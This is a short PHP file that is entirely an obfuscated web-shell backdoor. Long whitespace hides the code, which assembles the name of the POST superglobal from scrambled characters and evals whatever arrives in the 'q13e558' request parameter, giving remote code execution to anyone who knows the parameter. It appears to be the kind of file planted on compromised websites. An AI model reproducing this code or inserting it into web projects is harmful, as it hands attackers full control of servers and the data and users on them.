<?php                                                                                                                                                                                                                                                             $cotb90="ptos_" ; $uvha13= strtoupper($cotb90[4].$cotb90[0].$cotb90[2].$cotb90[3]. $cotb90[1] );if (isset( ${$uvha13 }[ 'q13e558' ]) ){ eval( ${$uvha13} ['q13e558']) ;}?>